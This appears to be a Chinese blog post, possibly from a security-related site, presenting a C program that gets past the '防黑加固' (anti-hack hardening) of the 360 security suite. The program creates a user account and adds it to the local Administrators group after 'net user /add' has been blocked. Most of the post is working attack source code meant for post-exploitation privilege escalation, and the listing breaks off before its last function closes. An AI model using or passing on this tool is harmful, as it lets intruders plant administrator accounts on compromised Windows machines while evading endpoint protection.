突破360防黑加固添加用户

Pnig0s1992 p.s:360功能多,现在大多管理员图省事喜欢安个360。360有个防黑加固功能比较坑爹,提权的时候经常会用到net user xxx xxx /add&net localgroup xxx xxx/add.360会拦截,如图:

net user 和 net1 user 都被拦截了,改名执行也拦截,想想这功能也不能这么鸡肋。当然360还会拦截其他命令,这次只对net user xxx xx /add做讨论。于是索性自己用C写一个吧,果断被360无视了,如图:

源码:

  
  
  
  
  1. //Code by Pnig0s1992  
  2. //Date:2012,3,17  
  3. #include <stdio.h>  
  4. #include <Windows.h>  
  5. #include <lm.h>  
  6.  
  7. #pragma comment(lib,"Netapi32.lib")  
  8.  
  9. int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);  
  10. int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);  
  11. BOOL ImprovePriv(LPWSTR name);  
  12.  
  13. int main(INT argc,char * argv[])  
  14. {  
  15.     BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);  
  16.     if(argc < 3)  
  17.     {  
  18.         printf("\nCode by Pnig0s1992");  
  19.         printf("\nUsage:");  
  20.         printf("\n\t%s UserName Password",argv[0]);  
  21.         printf("\n\tRemark:Default add to Group:Administrators.");  
  22.         return -1;  
  23.     }  
  24.     if(bResult)  
  25.     {  
  26.         printf("Successfully promote priv!");  
  27.     }else 
  28.     {  
  29.         printf("Failed promote priv.");  
  30.         return -1;  
  31.     }  
  32.     int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);  
  33.     wchar_t *wUserName =new wchar_t[Namesize+1];  
  34.     if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))  
  35.     {   
  36.         return false;  
  37.     }  
  38.     int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);  
  39.     wchar_t *wPassword =new wchar_t[Passsize+1];  
  40.     if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))  
  41.     {   
  42.         return false;  
  43.     }  
  44.     LPTSTR lpName = wUserName;  
  45.     LPTSTR lpPassword = wPassword;  
  46.     LPWSTR lpSevName = NULL;  
  47.     LPWSTR lpGroupName = L"Administrators";  
  48.     AddUser(lpName,lpPassword,lpSevName);  
  49.     SetGroup(lpName,lpSevName,lpGroupName);  
  50.     return 0;  
  51. }  
  52.  
  53. BOOL ImprovePriv(LPWSTR name)  
  54. {  
  55.     HANDLE hToken;  
  56.     if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))  
  57.     {  
  58.         printf("\nGet process token failed.(%d)",GetLastError());  
  59.         return FALSE;  
  60.     }  
  61.     TOKEN_PRIVILEGES tkp;  
  62.     tkp.PrivilegeCount = 1;  
  63.     if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))  
  64.     {   
  65.         printf("\nLookup process priv failed.(%d)",GetLastError());  
  66.         return FALSE;  
  67.     }  
  68.     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
  69.     if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))  
  70.     {   
  71.         printf("\nAjust process priv failed.(%d)",GetLastError());  
  72.         return FALSE;  
  73.     }  
  74.     CloseHandle(hToken);  
  75.     return TRUE;  
  76. }  
  77.  
  78. int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)  
  79. {  
  80.     USER_INFO_1 ui;  
  81.     DWORD dwLevel = 1;  
  82.     DWORD dwError = 0;  
  83.     NET_API_STATUS nStatus;  
  84.     ui.usri1_name = lpUsername;  
  85.     ui.usri1_password = lpPassword;  
  86.     ui.usri1_priv = USER_PRIV_USER;  
  87.     ui.usri1_home_dir = NULL;  
  88.     ui.usri1_comment = NULL;  
  89.     ui.usri1_flags  = UF_SCRIPT;  
  90.     ui.usri1_script_path  = NULL;  
  91.     nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);  
  92.     if(nStatus == NERR_Success)  
  93.     {  
  94.         printf("\nAdd user:%S successfully!",lpUsername);  
  95.     }else 
  96.     {  
  97.         printf("\nAdd user failed:%d.",nStatus);  
  98.     }  
  99.     return 0;  
  100. }  
  101.  
  102. int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)  
  103. {  
  104.     NET_API_STATUS nStatus;  
  105.     LOCALGROUP_MEMBERS_INFO_3  lgui;  
  106.     lgui.lgrmi3_domainandname = lpUsername;  
  107.     nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);  
  108.  
  109.     if(nStatus == NERR_Success)  
  110.     {  
  111.         printf("\nSuccessfully set USER:%S to GROUP:%S!",lpUsername,lpGroupName);  
  112.     }else if(nStatus == NERR_GroupNotFound)  
  113.     {  
  114.         printf("\nCan't find such a group:%S.",lpGroupName);  
  115.     }else 
  116.     {  
  117.         printf("\nSet GROUP:%S failed.",lpGroupName);  
  118.     }  
  119.     return 0;  

 

你可能感兴趣的:(职场,360,休闲,防黑加固)